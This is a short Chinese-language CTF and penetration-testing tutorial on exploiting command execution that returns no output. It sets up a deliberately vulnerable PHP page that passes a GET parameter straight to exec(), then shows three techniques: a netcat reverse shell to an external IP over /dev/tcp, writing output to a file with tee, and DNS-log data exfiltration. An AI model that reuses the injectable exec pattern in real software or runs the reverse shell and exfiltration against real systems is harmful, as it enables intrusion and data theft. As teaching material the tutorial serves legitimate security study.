无回显RCE
在CTF和实战渗透中,不是每一个命令执行点都有回显,有时我们审了半天代码,却发现好不容易找到的命令执行没有回显,但是这并不代表这段代码不能被我们利用,在无回显的情况下也是可以利用的
首先我们来写一个最简单的php命令执行的代码,因为是测试,就不加WAF了
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
?>
这里用docker拉了个apache下来
FROM php:8.2-apache# 拷贝你自己的 index.php 到网页根目录
COPY index.php /var/www/html/index.php# 开启 Apache 的 mod_rewrite(可选)
RUN a2enmod rewrite# 设置工作目录权限(避免权限问题)
RUN chown -R www-data:www-data /var/www/html
这样测试,若5秒后响应说明可以命令执行
1. 反弹shell
遇到这种无回显的命令执行,最常见的思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了
在自己的cmd输入nc -lvnp 9999
在命令执行的地方输入sh -i >& /dev/tcp/100.92.10.126/9999 0>&1
就可以反弹shell
2. tee命令
tee
函数在两个管道描述符之间复制数据,所以通过这个我们可以构造payload:
/?a=ls /| tee 1.txt
然后再访问1.txt
php还有很多类似的方法,比如用 >
将输入发送到某个文件中
3. dnslog外带数据法
首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要用linux中的ping
命令或者curl
命令
这里推荐一个dnslog的利用平台:CEYE - Monitor service for security testing 注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录(理论上是这样,但是我没复现出来,不知道是不是没有内网穿透的问题,后面试试在VPS上自己搭一个吧)